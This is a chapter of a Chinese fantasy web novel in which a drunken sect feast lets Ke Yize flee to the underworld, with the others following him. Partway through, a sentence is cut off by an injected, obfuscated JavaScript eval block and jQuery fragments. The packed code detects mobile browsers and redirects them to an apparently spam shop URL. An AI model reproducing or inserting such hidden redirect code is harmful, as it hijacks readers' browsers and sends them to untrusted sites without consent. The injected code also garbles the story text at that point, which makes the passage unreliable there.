今日的驭霄宗格外热闹,宗门之内所有弟子欢聚一堂,似是要将这半月来的所有疲惫抒发出来一般,就连平日里不常饮酒的灵虚都少见地小酌了几杯。
见门中长老都破例饮酒,众弟子见状更是肆无忌惮地畅饮了起来。许是因为平日里补常饮酒的缘故,夜宴还未过半便已有不少人醉倒,为了将其送回卧房便也派去不少人手,一时之间堂中之人少去一半有余。
虽说在在此情形之下免不了喝酒,可洛思茗也只抿了几口便作罢,毕竟若是连她都醉了那林逸鸣和灵虚便当真无人照顾了。
也正如洛思茗所料,待许多人离去后,林逸鸣果不其然地喝醉了。趁她与其他师兄弟交谈之时,便攀上了柯忆泽的肩膀说起醉话。
“忆、忆泽兄,你听我说啊!我这个师姐从小就无趣,只知道练功,什么都不懂!忆泽兄你多担待啊!”酒劲之下林逸鸣脸颊红彤彤的,说话也口齿不清起来,却不忘将杯中酒一饮而尽。
见他如此一副醉样,柯忆泽倒是觉得十分有趣,笑着又为林逸鸣斟满一杯酒:“怎么?逸鸣兄之前看起来受了不少委屈?”
“我、我跟你说啊!”林逸鸣也不顾及身旁有无旁人,拍案而起,“我师姐小时候天天不是待在屋里修炼就是在院里练剑!说什么都不肯陪我玩一会儿!我当时才多大,她就跟我说要好好练功!我当时连剑都拿不稳!”
从林逸鸣儿时到现在以有十几年岁月,待到洛思茗反应过来拦住之时,二人已经说到洛思茗第一次下山之前的事。柯忆泽坐在一旁静静地听着,眼中满是藏不住的笑意。
“我跟你说我师姐第一次下山!”感受到手中一空,林逸鸣看清来人却也毫无收敛,“哎!师姐!你抢我酒做什么!”
“还喝?都醉成什么样了。”洛思茗语气责备,可终究不能怨一个醉酒的人,只得把矛头对准柯忆泽,“他都喝成什么样了你还灌他。”
“明日又无事,多喝些并不碍事。”说着柯忆泽也举起酒杯一饮而尽。
“师姐!师姐啊!我觉得忆泽兄挺好的!余师兄也不错!要不你、你就……”话说到一半,林逸鸣身子一软便倒了下去,身旁的二人刚想过去扶稳便听到响起的鼾声。
似是没料到林逸鸣醉倒的如此快,洛思茗与柯忆泽目光相汇,前者扶额无奈,后者笑意不断。
“每次喝酒都是这样,也不知道少喝些。”洛思茗看着林逸鸣如此模样,不禁叹气,“你酒量倒是不错。”
柯忆泽也喝了不少,面色却依旧如常,仿佛喝下的并非酒而是清水:“凡界之酒与阴界之人无用,味道淡了些,回头带你尝尝阴界的酒,可比这酒有意思多了。”
阳界之人不可食阴界之物,洛思茗只当柯忆泽说得是玩笑话:“怎么不见梁师兄?”
“不知道,我对他去了哪并不关心。”柯忆泽站起身,顺带扶起了歪倒在一旁的林逸鸣,“我先送逸鸣回房,你且留步,灵虚道长那边估计还要你来照顾。”
顺着柯忆泽所说望去,洛思茗只见灵虚的耳尖也浮现出一抹红晕,好在少喝了几杯,神智尚且清醒。洛思茗心中只觉得自己怎么会摊上这两个酒鬼:“好,那便麻烦你送逸鸣回房了。”
“放心。”
洛思茗忙着照顾灵虚,未看到扶着林逸鸣的柯忆泽一步三回头地向她的方向看去,眼底闪过一丝悲色。
或许是因为众人喝了酒的缘故,这一夜驭霄宗内安静极了,甚至洛思茗都直至第二日日上三竿才悠悠转醒。
“这酒可真是不能常喝。”洛思茗揉着绞痛的眉心,小声念叨着。
院中安静极了,林逸鸣和灵虚都还尚未醒来。洛思茗披了件外袍站在屋门处,仰头望着晴日。仔细一想,这半月实在发生了太多事,她确实已经许久没有如此放松过了,一转眼天气已然入冬。
洛思茗轻敲柯忆泽的房门,心想着柯忆泽昨日并未喝醉想必已经醒了。可任凭她如何敲,房内都没有人回应:“难道已经出门了?”
“洛姑娘,”未找到柯忆泽,昨夜一直未露面的梁怀渊倒是急匆匆地出现,“你可看见阿泽了?”
“昨夜分别后并未看见,他现在也不在房中。”见梁怀渊神色,洛思茗心中升起一丝不安,“出什么事了?”
“我在他身上设下的禁制消失了。”梁怀渊的话如同晴天霹雳一般,证实了洛思茗心中的不安并非不无来由。
“发生什么了吗?”路过的余子潭看院门大开,一眼便看到了站在院中的二人。
“柯忆泽不见了。”洛思茗面色严肃,可声音却微微发颤。
她知道以柯忆泽现在的法力断然不可能自行解除梁怀渊设下的禁制,可凡界又有谁能够替他解开禁制?洛思茗不禁想起了自己昨日在柯忆泽房外听到的声音。
几乎是瞬间,洛思茗便意识到柯忆泽昨日对自己撒了谎:“是莫江蓠。我昨日在门外听到他房中有一女子的声音,当时未见异样便没有逼问,如此想来二人从昨日便已有所谋划。”
“难不成是莫江蓠将柯忆泽掳走的?”余子潭还未意识到其中关巧。
“若是被莫江蓠掳走定然不会解开禁制,”洛思茗瞥了眼梁怀渊,见其面色沉重便知他也意识到了什么,“想必是他让莫江蓠先将禁制解开后才跟她一起离开的。”
不是被迫掳走,而是主动逃离。
那便意味着这一切都是柯忆泽自己自愿的,更是他一手谋划的。刻意挑在了众人无法察觉的夜晚,趁着梁怀渊也不在而洛思茗更是忙于照顾灵虚之际,可谓是天时地利人和。
梁怀渊双手紧握成拳,双眼紧闭:“这下可真是糟了。”
若是被莫江蓠强行掳走,梁怀渊尚且有理由向阎王求援。但他是自行逃走,若是此时禀报给阎王,就连梁怀渊自己也不知道柯忆泽究竟会落得什么下场。
“洛姑娘,烦请你立刻找一下阿泽的去处。”所幸禁制虽除却还有洛思茗与柯忆泽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319691|190654||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
之间的魂魄联系在,“我们要尽早找到阿泽,若是被师父发现便晚了。”
“我也同你们一同去找。”余子潭提议道。
“好,我先找找看。”说罢,洛思茗闭上双眼,静气凝神试图找到柯忆泽行踪的蛛丝马迹。
熟悉的气息遍布整个院落,可气息的源头似乎并不周围,而是飘向了远方,无穷无尽的远方,而那个地方令洛思茗很熟悉:“他并不在凡界,应当在阴界。”
可之前说什么都不肯跟梁怀渊回阴界的柯忆泽如今却回去了,不免让人觉得他与莫江蓠之间定然谋划了什么更大的阴谋。
就连梁怀渊不太相信以柯忆泽如今的情况敢贸然回到阴界,但如今确实没有明确的指引。
“他之前提过他与莫江蓠有过一个交易,”洛思茗想起来之前柯忆泽说过的话,“会不会与此事有关。”
“莫江蓠不是从阴界逃出来的吗?她若回到阴界与自投罗网有何区别?”
“现在无论如何现在只能回阴界一看了,”梁怀渊也想不出头绪,“若是在阴界,只希望师父不会有所觉察。”
————
阴界的天空还是一如既往的黑暗,只留几颗星辰挂在天边散发着微弱的光亮。
梁怀渊一回到阴界便头也不回的向忘川河跑去,洛思茗也似是感受到了熟悉的气息跟着梁怀渊跑去,而余子潭第一次来阴界自然也不敢乱跑,立刻跟在二人身后。
出乎意料的是忘川河边不同于以往那般清净,反而围满了人,看穿着并非寻常。
“看来已经晚了。”梁怀渊在看到这些人后放缓了脚步,眉头紧锁。
“这些……都是鬼吏?”看出了那些人身上的服饰,洛思茗和余子潭也意识到了梁怀渊所说。
众鬼吏围在忘川河边,不远不近地望向忘川河的方向,却没有一人上前一步。
“小白,“在众多鬼吏中,小白身着一身白衣格外明显,梁怀渊一眼便看到了他,”你们怎么都在这里?”
见来人是梁怀渊,小白毕恭毕敬道:“大人,约莫半个时辰前,判官大人便传信命我带人来此守着。”
阴界除去阎王、梁怀渊和沐瑾,无其余人知晓如今柯忆泽的情况,自然还是对他判官的身份言听计从。因此,柯忆泽所嘱咐的事小白是断然不敢不从。
“他可有说过什么原因?”柯忆泽先是回了阴界,又传信给小白,此事定然不只是逃走这么简单。
若是柯忆泽不愿让人知道他回了阴界,凭他的手段完全可以悄无声息的来去,但他偏偏告知了小白,还让如此多鬼吏等在这里。洛思茗总觉得柯忆泽所谋划的事并不简单。
“我不知,大人是传信与我,我收到信后便和小黑赶来了,但还未见过大人。不过……”说着,小白从怀中逃出一封信递给洛思茗,“这里还有一封信,是给洛姑娘的。大人嘱咐,若只有梁大人一人前来便等在岸边,若洛姑娘一同来了,见信便知该如何了。”